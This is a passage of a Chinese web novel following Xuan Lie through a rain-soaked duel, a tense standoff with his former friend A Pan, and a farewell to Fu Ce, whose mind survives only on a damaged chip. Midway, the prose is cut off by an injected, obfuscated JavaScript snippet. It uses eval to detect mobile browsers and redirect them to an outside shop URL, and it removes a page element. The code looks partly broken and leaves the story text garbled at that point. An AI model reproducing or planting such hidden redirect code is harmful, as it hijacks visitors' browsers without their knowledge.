“见我?什么意思?”玄烈不解地问。 那人仿佛叹了口气,像是在叹玄烈实在不解风情。很快,那人又笑了,“看看你还是不是完好,能不能为我所用。” 好大的口气,让大名鼎鼎的第一战备给这无名小卒做配吗? “这么看来,我好像对你来说很有价值,”玄烈定定地看着对方缓缓说,但他立马又语气一转,“但很可惜,你在我这里,没什么用。” 说着,玄烈右脚后撤一步,唤出库星锥蹬地而起,向着高墙之上的人飞了过去。 他浑身上下几乎被水打了个遍,再防水的衣服也禁不住长时间浸泡在雨阵中。银发湿漉漉地垂下来,水滴顺着发丝落进眼里,玄烈顾不得甩甩水,端着库星锥一心要封住那人的喉咙。 偷玫瑰的事玄烈无论如何也咽不下这口气。而且这人太过谨慎了,什么话都撬不出来,玄烈也想探探对方的虚实,看看能说出让玄烈为他所用的话的人,究竟有多大的实力。 但他忘了,自己是个身负强力病毒的人。任何一点情绪波动,就会助长病毒的扩散与蔓延。 玄烈刚跃上高墙,那人小鹿一般灵动地小跑了几步后就跳了下去,隐匿在黑暗中。 光怪陆离的彩光打在玄烈的侧脸上,显得他眼睛近乎爆红起来,恰似带上青面獠牙的面具。脑袋是麻木的,玄烈现在就想见血。 见对面只躲不挡,玄烈也跟着冲了下去,扬着库星锥迫不及待扑到那人身前。幻影如盏盏鬼火幽幽在雨中浮动,像扑不灭的、跳动着的、不安的心脏。 就这么一照,玄烈看清了那人脸上戴着的灰色面具。和舜希的不一样,眼睛的地方镂空着,看来真的只是戴着个面具。 挑破唰唰倾倒的雨,库星锥这一次直追那人肩膀,对面人没再急着躲了,而是想办法迂回格挡着。 玄烈决定再来一遍不按套路出牌,两团黑暗中打得热络的影子给本就压抑沉闷的空气喷上一层层黏重的热气,粘在雨水里打在身上,这辈子就刻入了郁闷的阴影。 在刺破对面人的手掌心前,玄烈从未觉得天气如此郁结到他呼吸不了。 皮肉绽开的声音不过一滴水砸在土堆里,如果不是那一滴溅入玄烈眼睛的血,他可能还反应不过来。 在无意识间,在他压根以为对方躲过这一招不在话下的时候,正在灼烧的殷红血液就这样混合着雨水,随着那人手失措地一甩,便甩了玄烈一脸。 视线一瞬间变得无比清晰了,清晰到雨好似不再存在了,清晰到他好像一眼就看到的远处舜氏高楼内打斗着的身影,清晰到他几乎能穿过地面,远远窥到了那片微风中摇曳的向日葵。 那人也愣了一下,一手抓着负伤的那只手的手腕,垂眸静静看着自己的手心。 玄烈抹了一把脸上的血水,身边库星锥幻影们齐齐猛然窜了出去。它们窜得太快了,上一刻扎破的水还尚未恢复成完成的一滴雨,下一刻便飞到对方面前,将对方映成阴森的青绿色。 可是然后,然后在那人目光还锁定在自己的手心的时候,另一手便早有预料一般抬起,五指直对着玄烈,指尖仿佛萦绕着什么云雾。 幻影没能刺穿云雾,反而在靠近的刹那受了惊一样,全都在如同自爆的“嘭”的一声后向那人身后飞去,转眼就消失了。 雨将他淋透了,他嗅得到空气芬芳,心神短暂宁静下来。 水沿着下颌流到下巴,止不住地往下流淌,火烫的库星锥手柄被玄烈握得冰凉起来,脚下的土地变成了泥,玄烈每次抬脚都感受到一股抓力牵引着他,无法轻轻抬起,又难以重重踩下。 这是目前为止,交手的人中,玄烈见到的第一个,能够直接干预幻影行动的人。 的确不容小觑。湿发有些遮挡视线,玄烈尽量从发间窥探对方的动向。 这样的人,最好是中立。同一阵营的话,难保对方愿意依据指挥行动,如果是敌人……那就麻烦了。 “你是……故意的?”玄烈不确定地问。 那人再次笑了,甩了甩手上的血和雨水,抬起头来,“你对你自己的能力不太自信啊。” 远方,一团燃出乍白色火花的光团伴随着轰然巨响在舜氏楼边爆发,轰隆几声,大楼之上破碎水泥石块与烟尘横飞。 世界有一瞬寂静了,可事实是,没人会因此停下脚步。 雨快要停了。 “你的任务完成了,你该回去看看。”目光从舜氏那边移回,那人淡淡说了这么一句,转身就要离开。 “等一下,”玄烈叫住对方,“你说下次见面把玫瑰还给我……我们还会再见面吗?” 玄烈忘了,对方不会回答的。雨落尽前,那人身影消失前,只抛下了四个字。 “再见,玄烈。” 站在楼门口时,玄烈都还是懵的,他看见几列黑寂军安保和机械体小队都在往上跑,于是也跟着一股脑跑了上去。 偌大的战略部偏厅,基本没人会去的地方,爆炸就发生在那里。 拐进案发地之前,走廊口,几只五代机械体看到玄烈瞬间站得倍儿直,还敬了个礼,纷纷喊道:“队长好!” 这些大概就是玄烈管理的二队队员,除了它们,早就赶到的其余机械体和黑寂军也只站在厅口,不敢走进去。 “为什么不进去?”玄烈问。 一个小孩抢答道:“报告队长!我们没有权限,无法进入战略部!” 定睛一看,厅口好像是有一层轻轻薄薄的空气屏障。 “我能进吗?”玄烈接着问。 “报告队长!您可以!” 临走时,玄烈又问了一句:“你们怎么样才能进?” “报告队长!您腕表上开个权限我们二队队员就能进!” 得到允许,在身边一圈注视中,玄烈穿过人群,大大方方进入了事故发生地。 这里到处都是灯,把整个空间打得极亮。这里原是打算放置一些与新训练场相对应的设备的,现在新训练场还没建好,所以这里便空置着,除了木地板,厚厚的信号屏蔽墙,再没有什么。 大厅的另一边地面上躺着个人,受了很重的伤的样子,一条手臂好像断了,但生的意志令他还在挣扎扭动,努力着还想要爬起来。 那人的衣服已经撕破,被火焰燎得黑乎乎的,分不清哪是皮肤哪是衣料碎片。 玄烈又往近探了两步,直到听见急促的呼吸声,他才意识到靠门这里的墙边还站着一个人。 是琀珏。 他身上几处也有利器砍伤的痕迹,鼻青脸肿的,但看起来无大碍。他弓着背,双手撑着膝盖,眼睛发狠还直勾勾望着对面地上的人,喘息不止。 看清琀珏面孔的那一刻,急促的不安和不详之感油然而生。玄烈没空管他,径直朝对面的人奔去。 还没跑到那人身前玄烈就先腿下一软跪倒在地,脸颊肌肉因紧张而抽动着,玄烈近乎是爬到那人身边的,轻轻扶着那人的手臂将其上半身拢靠在自己腿上。 他不敢太用力,生怕那人碎在他 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“遵命!” 机械体们皆摸出手枪对准了琀珏,并形成一环包围圈,开始朝着琀珏逼近。 “住手!” 突然,一道尖锐的声音穿过空气屏障扎了进来。紧接着,几十只装备精良统一着装的机械体小队整整齐齐走了进来,它们每人手里一支步枪,气势上比二队的小孩强得不是一点,好像整个屋子一下变得拥挤起来。 在队伍末尾走进来的,就是那道声音的主人。看见他之后,二队小孩们皆不知所措,不敢动弹。 阿盼好像瘦了,队长所配备的高阶机械体战斗装套在他身上很是英勇俊朗,再没有之前那天真无邪小胖子的影子。 “他是涂云的人。涂云和舜氏的合作正处在关键阶段,抓他,就是在和两大集团作对。” 太陌生了,玄烈不能相信这是阿盼口中说出来的话,但他还是勉强镇静着,“他伤了舜氏的人,难道还得供起来吗!” “是得供起来,”阿盼屹立在场中,居高临下地俯视着玄烈,“涂云的客人大驾光临,舜氏得以礼相待。来人,把亏待客人的人抓起来。” 那些没有半点人样的机械体端着枪就要围上来,玄烈只觉得可笑,“谁敢!” 幻影在他身边渐显,胆敢靠近的人被幻影们的烈焰烫得连连后退了两步。 “不合适吧折盼队长。” 伏策已经没了反应,是昏厥还是……玄烈暂时还没有时间、也不敢去试探。他轻轻把伏策安放到地上,站起身来。 “伏策是黑羚羊的队长,职级和你我一样,但在重要程度上,他还高于你我。琀珏明显就是来挑事的,所以你宁愿牺牲一个队长也要保住你们没人稀罕的体面是吗?” “你有异议?”阿盼向前走了一步,站在玄烈正对面,“那就连你一起抓好了。” 突然间,玄烈“唰”的一下就将库星锥横上了阿盼的脖子,也是同时,全场所有一队队员皆举起了枪,数不清的黑洞洞的枪口直指玄烈脑袋。 “你可以试试看。还有,没有人告诉过你,不要离第一战备太近吗?” 凝视着玄烈的双眼,阿盼眉头一压,“玄烈,不要逼我。” 玄烈心绪复杂,无论如何也难以做到对以真正敌视的目光来看待。 “阿盼,是你在逼我。” 137. 伏策(2) 气氛突然凝固住了。从阿盼深重的眼神中,玄烈看到了前所未有的坚定和某种隐晦的恨意。 好像一道沟壑无情地横在二人中间,阴风陡然上升,其中的路,再来二十年的交情也迈不过。 心灵上的生离和物理上的死别一样无情。 没有人是突然变成这样的。就算此刻数万子弹都奔向他的身体,他手里的库星锥恐怕也不能毅然决然地朝对面人脖子砍下去。 而玄烈想到二十年前,伏策也正是被这样重伤的,此后那伤口的样子几近成为他的梦魇,每次伏策提起第一战备的名字,他都要心里一沉。 “让你的人撤走,你办不到的事情,我来做。” 玄烈以只有他和阿盼二人听得到的声音低声说了一句。这次,没有放过琀珏的理由。 可阿盼似乎从站到这里就不打算给玄烈这个面子,他非但没悄下声,反而还更提升了几分音量,话语间还格外转了几个听起来令人不太愉快的弯,“我有义务要遵循您的调遣吗,玄烈队长?” “你……” “还有。”阿盼抢断了玄烈的话,嚣张地贴着库星锥又往前逼近了两步。 库星锥耀眼的火光很快将阿盼的衣领熏黑了,但却在玄烈不自觉的授意下,火焰没能伤到阿盼一星半点,“第一战备?你真的是第一战备?而不是以外来者的身份鸠占鹊巢占领了第一战备的身体吗?玄烈,如果你是第一战备,怎么不拿出第一战备真正的实力来,为什么……还要让你身边的人受伤和死掉呢?” 一双眼睛睁得很大,一半瞪着对方一半又惊恐到无法保持淡然的样子。玄烈听到这番话后的下意识反应不是生气到恨不得一刀砍上去,而是原地化作一座石雕。 外表黑曜石蛮不讲理地围困住玄烈身体里翻涌的岩浆,任凭他烧到五脏俱焚,也无法动弹一下,甚至说不出什么话来。 握着库星锥的手颤动不已,忽然,锥刃上跳跃着的火星嘣到阿盼脸上,将他烫得一惊,顿时,全场枪口又上前了几步。 “别打架啊,”一旁的琀珏略略站着了身体,拍了拍身上的灰尘,“我走就是了。玄烈,纽扣就在你这再放两天,我还会来的。阿盼队长,你的茶我下次再喝。” 说完,琀珏一瘸一拐就朝门口走了。这是印象里玄烈第一次见琀珏伤成这个样子,搭配上琀珏的性格,看他倒是还能安稳地走着,实际上一定伤得不清。 “站住!” 玄烈咽不下这口气,即刻就要冲上去。可是一杆枪在此时恰到好处地走了火,子弹“砰”的一下擦着玄烈身前掠过,下一秒,琀珏便被几只舜氏机械体送出了门,而阿盼也再次挡在玄烈的视线前方。 “你一定要这样吗……”玄烈拳头快捏碎了。阿盼只是看着他,像一座山长久地看着他。 一只机械体扛着枪跑到阿盼身边,“队长,还抓吗?” 阿盼凝视着玄烈的眼睛,片刻,吐了一个字:“撤。” 黑压压的枪口被移开了,队员们自行规整成一列小队,在一只玄烈叫不上名字的副队长的领导下有序退出了场地。 “快,把伏策扶到医务室……不,扶到养疗部去,快!” 玄烈一声令下,原本被这场面吓退到房间角落的二队小孩们纷纷跑了过来,架起伏策就往出跑。 “去叫安保部……”玄烈犹豫了一下,“安保部副部长,拜托他给伏策治伤!我一会儿就到!” “是!” 小孩们一溜烟就跑走了,大厅又空旷寂静下来,阿盼移开视线,开始在场中来回踱步,查看四周被那二人打得是如何的一片狼藉。 玄烈先行开了口,“我是不是得谢谢你,放过了我们?” 好像没有那些手下人助阵,阿盼一半的底气都被消磨了。他垂头盯着自己的脚尖,像是没听见一样,不敢再看玄烈的眼睛。 “你就那么恨我吗?” 玄烈又问了一句,仿佛这一句恰好戳中了阿盼的软肋,他忽地暴怒起来,原本已经走到了门口,又大踏步愤恨地朝玄烈走了过来。 “那就告诉你,为什么!” 阿盼还存有几分肉的脸颊随着他的气愤而狰狞地跳着舞,之后说出来的话几乎是喊着的。 “我从被创造的那一天起就是作为玄烈的伙伴而活着。他们不在乎我叫什么,不在乎我长什么样子,我就是作为你的附庸!小时候他们让我保护好你,我照做了,别人欺负你骂你我就会骂回去打回去,你以为我想吗? “再长大一点他们就不再把注意力放到你身上,连带着我也完全活出了他们的视线变成了一个没有用的人。后来去参加比赛,你说我胆小,可那就是我!那才是真真正正会受伤会害怕的我!不知道怎么的,他们又盯上了你,所以他们就威胁我控制我让我想办法在每个我连自己都保护不了的时刻去救你于水火! “坦白讲,这都不是我自愿的,一点也不是。所以我恨你,恨你的存在决定我的意义,哪怕你死掉,我变得毫无用处,也无所谓。这次我会放你一马,但咱们的交情也就止步在这里了。以后如果你变成了我的敌人,我也会毫不手软。 “玄烈,我仁至义尽了,以后的路,你我生死由命。” 阿盼一字一句说得决绝,说到他眼睛爆红,青筋暴起,连发尖都在震颤。 “阿盼,你……”不知怎的,玄烈感到心脏有点发酸,“你,是不是中毒了,还是被人……操控了?” 玄烈知道阿盼已经把话说到这里了,他还问这么一句实在没什么意义。可他总想对面前看起来快气到爆炸的好朋友说点什么,什么都行。 “就不能是我自己选的吗!你宁愿相信我是被控制了也不愿意相信我是一个具有自己独立意识的人吗!” 这一句过后,玄烈知道自己该说什么了。 “对不起。” 阿盼没再说什么,到嘴边的狠话也都被这三个字噎了回去,他可能也觉得罢了,回身就头也不回地走出了厅门。 玄烈想起记忆中自己与阿盼的第一次见面。 林瑀那间装饰得古朴典雅的办公室,阿盼抱着一大筐果子从门口跌跌撞撞走进来,被台阶绊倒后果子砸了玄烈一身。 在林瑀的介绍下,玄烈有点难为情地握了握手,阿盼却明媚地扑到玄烈手边,把他胳膊都快摇散架了,还大声笑着说:“你好,我是阿盼!请把我当作你最好的朋友吧!” 阿盼拿着果子就往玄烈嘴里塞,边塞还边讲这是他从舜氏外一个即将被拆掉的老训练场旁边的树林里摘的,让玄烈别客气,多吃,多吃。 果子太酸了,口感又很涩,玄烈每吃一口都挤眉弄眼的,阿盼还以为玄烈是太喜欢了,第二天又摘来两大筐,结果在上台阶的时候又记吃不记打地摔倒,果子又全都砸到玄烈身上,砸得玄烈那段时间看见又红又青的小果子就浑身疼。 “对不起。”玄烈又轻轻说了一句。 这句话说给过去的你,作为我最好的朋友存在的你。 情况很不好。 向繁森给玄烈发了这么一条消息后就无论如何也不再回复玄烈的问询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430110|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 玄烈风风火火地在楼里跑动,嫌等电梯太慢还一口气爬了十层,没一会儿功夫就跑到了大楼深处的养疗部门口。 这是个新成立的小部门,却集有舜氏最专精先进的机械体维修设备,这也是玄烈要把伏策送到这里的原因。 部里有几个小房间专为机械体实验设置,窗明几净的,不大点,很敞亮。 玄烈被隔绝在门外,只能隔着玻璃和百叶窗看屋内的状况。伏策躺在实验床上,头上带着测试生命体征专用的监测环,浑身上下插满了管子。那些管子从他衣服的破口处钻入,将他扎得像个刺猬。 向繁森一门心思扑在实验床边的一台操作台上,前方闪烁着变幻莫测数字字母的屏幕照得他额头闪亮亮的。他双手扯着什么针一样的东西,埋头像是在缝着什么。 玄烈的身影隔着窗户打在他旁边的桌上,向繁森才一脸严肃地抬起头来,叹了口气,把手里的针随便扔到了旁边。 这时玄烈看到,他刚才手里摆弄着的,是一枚芯片。 向繁森打开紧锁的门,歪了歪脑袋,示意玄烈进去。 “我尽力了,只能给你十分钟。”向繁森说。 “十分钟?什么意思?” 玄烈看着双眼紧闭、一动不动的伏策。果然机械体不像人类,没能有什么监测心跳呼吸的仪器来证明他还是否活着。 向繁森按下一颗按钮,操作台上忽有一方小小托盘一样的台子上升,将芯片缓缓托起。随之是一个篮球大小的方形玻璃罩子从一旁推出,将芯片稳稳罩住。 气体泄漏,白色光于托盘中心亮起,芯片竟毫无依托地轻飘飘飞了起来,飘在玻璃罩中心。 “话说你怎么想到找我,而不是你杨叔呢?” 等待的过程,向繁森突然问了这么一句。 “他……”玄烈看着芯片发起了呆,“很忙吧。” 待芯片的状态逐渐稳定,显示屏上的字码消失了,出现了一条微微跳动的、电波一样的线条。 向繁森拍了怕玄烈肩膀,“芯片受损很严重,我们目前技术达不到完全修复,强行修理的话会有很大可能出现问题。我能做的只能给你十分钟,十分钟结束你们的对话,然后……告别。” 玄烈立刻受惊一般用力看向向繁森,用眼神拒绝向繁森说的这一通话。 “不过你可以这么想,”向繁森连忙找补着挠挠头,“还是有可能到达实现这种技术的那一天嘛!只要你活着,就不算永别。” 说完向繁森就溜了,生怕再多呆一秒钟玄烈会把气撒在他身上。 门“砰”地砸上了,房间安静极了。玄烈环顾了一圈,能坐的地方只有伏策的床边。 他刚坐下,就有虚幻的声音从房间的四面八方传出。 “玄烈,我是伏策。” 一转头,伏策还是沉默地躺着。显示屏中的线条倒是很活跃。 “我现在,只是一枚芯片了。” 想到伏策那么厚重的身体就好像缩在玻璃罩里那么小而脆弱的芯片里,玄烈轻笑起来。 几次三番的离别,令他学会了体面告别的能力。 “现在不疼了吧?”玄烈问。 “不疼了。” 房间里看不见一个显眼的出声口,可伏策的声音就是在房间里撞来撞去,像是天上飘来的。 “你是不是笑了?”伏策接着问了一句。 “嗯。”玄烈回道。 “我……看不见你了,但我猜到你肯定会笑的,就和我认识的他一样。” 138. 伏策(3) 渺小的芯片囚禁着伟岸的生灵,玄烈卸下时刻紧绷的神经,眸光含水、嘴角含笑地望着那被封印的灵魂。 不过万事万物都是这么个道理。 人们精神世界所捏合成的一团精粹放到物质世界可能还比不上这么个芯片,但每一簇都能发挥出雄阔无边的力量。 所以再矮小或再强壮的壳子都不能代表什么。躯体消亡了,总还会有比自由更远大的空间可供容身。这么一想,好像世界本就不存在永别。 “讲讲吧,怎么回事儿?”玄烈说。 “这家伙,不请自来。” 伏策的声音已经听不出太多情绪了,说什么话都变成了一个调调,不过不打紧,玄烈自会脑补他说这些话时候的肢体表情。 “我当时刚办完入职手续。我也是才知道,黑羚羊重启项目根本是个空壳,我是个光杆司令。” 说到这,伏策就该开始生闷气了。他不笑时本就锋利阴沉的脸现在肯定板得跟谁欠他几万块钱似的。 “好不容易又当回领导,结果是个秃头将军,气坏了吧?”玄烈打趣道。 “是气坏了,”这几个字配上伏策毫无波澜的语气更搞笑了,“我正生气着,还打算给你发消息呢,他就跑来了。二话不说把手一摊,要他那纽扣。我早看他不顺眼了,就想教训他一顿。” “嗯,挺厉害的,他走的时候一瘸一拐的。”玄烈说。 “是吧!” 伏策好像很得意的样子,得意到死板的语气都透出了兴奋。 “我刚还想,没看见他落荒而逃的样子,挺可惜的……怎么样,没给你丢人吧?” “怎么会给我丢人呢……”玄烈轻轻地说。 “刚才在那你们的对话,我听到了。” “谁,我和阿盼吗?”玄烈问。 “对,”伏策叹惋道,“我不知道这些年来都发生了什么,但……我有一点能理解他的想法。虽然我不会选择这么做,但我能明白。有些人从一开始就注定是要分道扬镳的。” 玄烈应了一声,没多少什么。他无声长长叹了口气,浑身疲惫不堪。 “但我确实不能理解他不救我。” 在二人都默契地保持安静的时刻,伏策又来了这么一句,再一次把玄烈逗笑了。 “是啊,如果他肯松口,说不定你还能多和我聊十分钟。”玄烈咧着嘴说。 “不过,我已经很知足了,”伏策说,“我本来早就该死了,没想到还能再见到你。我知道之前你很难受,所以这次我真的有尽全力保护我自己,至少留个全尸,哈哈。” 机械声发出的这“哈哈”两个字可谓绝对标准,诡异之余带着些许滑稽,把悲情的氛围击了个粉碎。 玄烈低着头,乖巧地认真听伏策说的每一个字。 “玄烈,你不是外来者。你们充其量是同一条时间轨道上前后两节截然不同的车厢。我们每个人,包括他自己,都不会去太过缅怀这段过去。你有你的意志,你在这里所做的大大小小每一件事,都是他做不到的事情。” 停顿了一瞬,伏策接着说:“第一战备从来不是专属于谁的词,他有他的名字,你也有你的。从你决定承担这份力量和责任的那一天起,你就已经是合格的第一战备了。所以,我丝毫不会怀疑你做的决定……等到胜利的那一天,你记得要叫醒我。” 玄烈呜咽着发出模糊不清的一声“好”。 鼻子酸酸的,好像一瓶辣椒味的柠檬汁在鼻腔里炸开,又疼又酸,眼睛也烧得很烫很痛。 玄烈搞不清楚这是怎么了,他刚伸手要抓自己的眼睛,就有两滴滚烫的水珠砸落。一滴坠到地上绽开水花,一滴掉进掌心积攒成浅浅一片池塘。 他还没反应过来,就又有更多水珠劈里啪啦毫无顾忌地从什么地方涌出,刚刚干燥了片刻的脸颊又变得湿乎乎的,脚边也砸出好几朵大小不一的水潭。 玄烈慌张地用手捧在自己脸前去接,仿佛自己脸上生出了一关不住的水龙头。 伏策不知道玄烈这边发生了什么,他听他不说话,以为是伤心过度,又自顾自讲起话来。而这时他说出来的话,已经开始变小变模糊了。 “对了,给你讲个有意思的事吧。你知道那家伙为什么那么看重那纽扣吗?” 双手手心也快要被盛满了,玄烈忽而想起曾几何时有谁也在他面前这样过。 他急忙摸向自己的眼睛。没错,那潺潺炽热的咸味水滴就从这来。他指尖呆滞地摸在自己右眼眼球上,惊恐地像个无家可归的孩子。 是眼泪。 他竟然,流泪了。 如果说流血还能用结血束应付过去,那么眼泪呢?难道只能说他是脑子进水进多了逼不得已从眼睛排出吗? 好像这样就叫做哭。 一股委屈涌上心头,玄烈的眼泪不慎打湿了身旁躺着的伏策手边的床单。他轻轻抽噎起来,五官也恰当地皱在一起,泪水也分为好几行汹涌地夺眶而出,连着肩膀都耸动不止。 仿佛他会流泪后,就天然习得什么是哭泣了。 “是他自己说的。你知道那纽扣是谁送给他的吗?说出来你肯定会吓一跳的。” 彼时玄烈还沉浸在自己生平第一次哭泣中,对伏策说的话也听一半忽略一半,只“嗯?”了一声。 “那纽扣是……凛烛送的。” 顿时玄烈心跳断了半拍。 “你敢相信吗,居然是凛、凛烛……s、s……s,送的、的……” 说到后面,声音怪异地卡顿起来,藏在音调后的杂音忽而被放大,乱七八糟的音效和电流嗞啦疯狂作响。 一声雷霆惊变般的啸叫在玄烈耳边爆开,他条件反射捂起耳朵,但还是不可避免地耳朵发痛、脑袋发懵。 “谁、谁送的?”玄烈捂着一侧耳朵错愕地问了一句。 “凛烛、凛……zh、烛?凛烛?凛……” 好像伏策也突然对这两个字产生了疑惑,他在杂乱的声音中一遍又一遍重复,好像这个名字令他染上了病毒。 不知是眼泪流多了还是被那一声惊的,玄烈在伏策一声声“凛烛”中陷入了梦魇,头晕目眩,说不上来的疲累。 但这念经般的重复没有持续太久,伏策的声音越来越小,到最后几乎只有蚊虫大小。 他说:“记得叫醒我。” 而后便再无一句话。 萦绕在芯片周围的光束缓缓消失,芯片也在云雾托举间落到托盘之上,玻璃罩子自行撤去,台子回落,又只剩一枚断裂的芯片孤零零躺在宽阔的桌子上。 门外有人敲了两下门。 呆滞了一会后,玄烈把脸上地上的眼泪全都擦抹干净,这才打开了门。 向繁森好像一直站在门口,“别误会啊,我是害怕你悲伤过度随他去了。这里隔音很好的,我听不见你们说什么。” 玄烈生怕自己眼睛红红的让向繁森看出端倪,于是想方设法回避着他的眼神,“那你怎么知道该敲门了?” “十分钟嘛!”向繁森敲了敲腕表。 他没看出玄烈的异样,门打开后钻了进来,开始小心翼翼拿出绒布给芯片包起来,做善后工作。 “这边会有人来处理,大概率会把他放在A区的临时机械体墓房,那里都是死掉但因为还会另作他用而保管的机械体壳子,我会打点,他在那很安全。至于芯片……我会交到实验室。” “谢、谢谢。”玄烈嗓子有点哑。 “怎么了你?”向繁森好像发现了什么,“舍不得啊?” 玄烈赶紧清了清 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“用船呗,舜氏和外面周边区域的商贸往来不可能因为颠转就停运了。我搞到了通行证,把人伪装成枪炮,船是最不起眼的了……唉,不过我的最佳设想是把人变成蚊子大小,还能飞……” “为什么把遥遥姐送出去?她自己不走吗?” 大概是还忧心这里的事,恐怕走不了。玄烈的话刚问出口他就给了自己一句圆满的解释。 但向繁森也给了玄烈一个意料之外的答案。 “因为她要拆散这对人,遥遥必须自己走。” “拆散?谁?”玄烈更不懂了。 “你不知道吗?昨天晚上,一个四代小屁孩要拉着遥遥私奔。”向繁森更压低了声音。 “孑盏?”玄烈不能相信,这两人的进展真够快的。 向繁森挤出满是嘲讽的“哼”的一声,转而继续当什么都没有发生过,昂首阔步往前走。 “小真知道这个事之后就暴怒了。最近那孩子因为忙那边的事很少来这边,本来她就挺不满意的,也早就让我想办法,说用尽一切资源也想把那孩子推出这里。但是人家自己不那么想啊,她觉得她留下能帮她点什么……” 拐了个弯,视野开朗,耀目的大灯时刻不息地永恒明亮在这里,他们来到了大楼里第二繁忙的部门——安保部。 “能帮什么呢!”来到向繁森的地盘,他就毫无顾忌地放大了声音,“帮来帮去把自己帮到私奔了!哈哈哈哈……” 向繁森的语调很奇怪,连玄烈都听得一阵不爽快。他不评判这件事,眼睛跟着面前玻璃墙后忙得热火朝天的工作场景转。 “对了,你还没告我你是不是把人家直接杀了?” “没有。”玄烈盯着大厅正前方墙上一片宽大的屏幕目不转睛地看,上面是整座永璃岛的卫星地图,还有不同颜色星星点点的标注,不知道代表着什么。 “那人被我追得不耐烦了,自己打了针走掉了。” “他自己有针?”向繁森一声高喊,惹得好多人都往这边看,“什么人啊?是人类吗?舜氏跑出去的?他哪来的针啊?” 这么多问题玄烈一时间都不知道先回哪个好,“是人类,可能是舜氏的吧,天太黑我看不清。可能他只是想要逃走。” 真是漏洞百出的解释。玄烈现在脑袋凌乱得很,一些话还没经过他自己推敲就蹦出去了。趴在玻璃墙边,他自己都有点懊恼。 所以对面是人类吗?那么强、能躲过幻影,居然还会流血!那真的是血吗?玄烈的思绪又转回那次交手。 突然,他联想到一个很重要但被忽视了的事情。 “程炼,最近在做什么?” 139. 过程(1) 玄烈思来想去决定还是直接称其大名,毕竟对一个几次三番想置自己于死地的人用不着太客气。向繁森也似乎对玄烈这个称呼很满意。 “舜希急于想建立自己的机械体队伍,所以他大概在忙着研发新技术吧,怎么了?” “没什么,”玄烈岔开话题,“杨叔忙吗?” 向繁森随手指向走廊深处的一个房门紧闭着的房间,“喏,他的办公室搬到那了。你找他有事啊?” “没有,”玄烈什么都不想说,“今天的事,为什么不是安保部派人去管?” 向繁森摊摊手,“是要去的,但舜希打电话来说这是机械体内部的事情,没上升到打群架的地步,就用不着我们出手。” 玄烈微妙地说了一声,“原来是这么管理公司的……” “玄烈。” 一转头,舜真站在楼道口,半个身体都缩在黑影里,慵懒的杏色格子衫配一条深橘色灯芯绒长裙,长卷发垂腰,妆容恬淡如出水芙蓉,正似笑非笑地看着他们。 一是少见舜真不抹红唇的样子,二是她仿佛和身边人身处不同的季节。玄烈还没等反应过来要应什么,向繁森就要溜。 向繁森表情如临大敌,不知是自知没好好完成她交代的任务,还是见事出有妖,他机械地摆了摆手,结结巴巴说了句“你们聊我先忙去”后就不见了人影。 “你有空吗?到我办公室坐一坐。”舜真说。 玄烈抬起手腕看了看时间,“现在到休息的时间了。” 可舜真有点不依不饶,“走吧,我介绍一个人给你认识。” 之前走出舜真办公室刚发了誓表示不再回来的玄烈才隔了半天就站进了这间屋子,这间原始气息浓厚的野人屋。 玄烈走得很慢,用全身展示着自己的抗拒。舜真也没管他,径直走进房间后就坐到了桌边,熟练地拉开抽屉取出药盒,再将三个白色小药片就着可乐灌了下去。 “药可以配可乐喝吗?”玄烈站在门口说。 “无所谓,反正吃药本身就是走个过场,”舜真满不在意地干掉了一罐可乐,又随手开了一罐,“你呢?消气了?” 做了很久的心理斗争,玄烈选择关上门走进来,“我没能力一直保持愤怒,那会加重我的病毒,没用也不值当,但很可惜,我也没有忘记的理由。” 这里到处充满着雨后竹林的味道,比起外面,房间甚至还有点热,可舜真又给自己加了一件外套。 “吃的什么药?”玄烈问。 “永葆青春的,长生不老药。”舜真笑眯眯地说。 舜真的身体很可能已经出现问题了,所以她急着把芯片托付给玄烈,急着把遥遥送出去。 离开办公室后发生的事该不该和舜真说,玄烈有点犯难。他随意找了个凳子坐下,脚踏在地面毛茸茸的草丛里,新鲜青草尖端水汽缭绕,把玄烈鞋边打湿了。 既然舜真把他指纹的事隐瞒了下来,那是不是代表她也可能知道流眼泪的真相?但她真的会和盘托出吗? “听说你出任务了。到这里来的第一个任务,棘手吗?”舜真问。 “还好,就……”说着,玄烈想要去摸自己额头那形状古怪的伤口。指尖停在冰凉光滑的皮肤,他仿佛石化了。 “怎么?”舜真还等着玄烈的后半句话。 就当作随意的挠痒,玄烈没敢让手在额头上停留太久,“就是雨太大了,遮挡视线。” 那伤口,消失了……又像之前那样,奇迹般地消失了。 “我需要知道,我手上的指纹,是因为结血束吗?”他猛然抬起头,语气像是在质问。 “可以这么说。”舜真倒是痛快。 “但是我手上不是阿烛的指纹。” “哦?是吗?”舜真漫不经心地说。 “当时在顶层实验室,是你拿扫描仪器测试的,就在我右手食指,匹配结果是‘无信息’,你不记得了吗?”玄烈急迫起来。 “那我也记得当时我说的是‘可以通过指尖监测机械体健康状态’,我有提到指纹吗?” 舜真真是滴水不漏。荒谬感丛生,玄烈知道舜真分明看到了他的指纹,也知道扫描仪上探出的光分明精准地掠过每一段指纹的纹路。 “不过那个仪器的确可以做指纹匹配对吗?” “应该吧。”舜真笑着说。 “那我,真的只是个机器人吗?” 玄烈的问题好像给了舜真措手不及的打击,她险些呛了一口水,“干嘛呢好端端的,你怎么想到这了?” 不好再牵扯太多,玄烈赶忙接着问:“就是问问。你叫我来,要做什么?” 演技很差劲。舜真拭去嘴角的滑出的那滴可乐,压着双眼以犀利的目光瞄准玄烈那无所适从不知道该放在哪的眼神。 “好了,不逗你,知道你现在有什么事也不愿意和我说,有防备了是吧?这很好。” 舜真边说边拉开桌边的柜门,把一个巴掌大小的令牌样的东西递给玄烈。那令牌很轻薄,玄烈接过来的时候手里轻飘飘的,和托着一团空气一样。 整体呈长方形,形状不是很规矩,仔细看是由微弱的波浪圈成的边缘,中心如半透明莹紫色显示屏,边角环着夹有银白色金属纹路的黑金石,侧朝光源看,屏上还印有曲折的回形纹路。 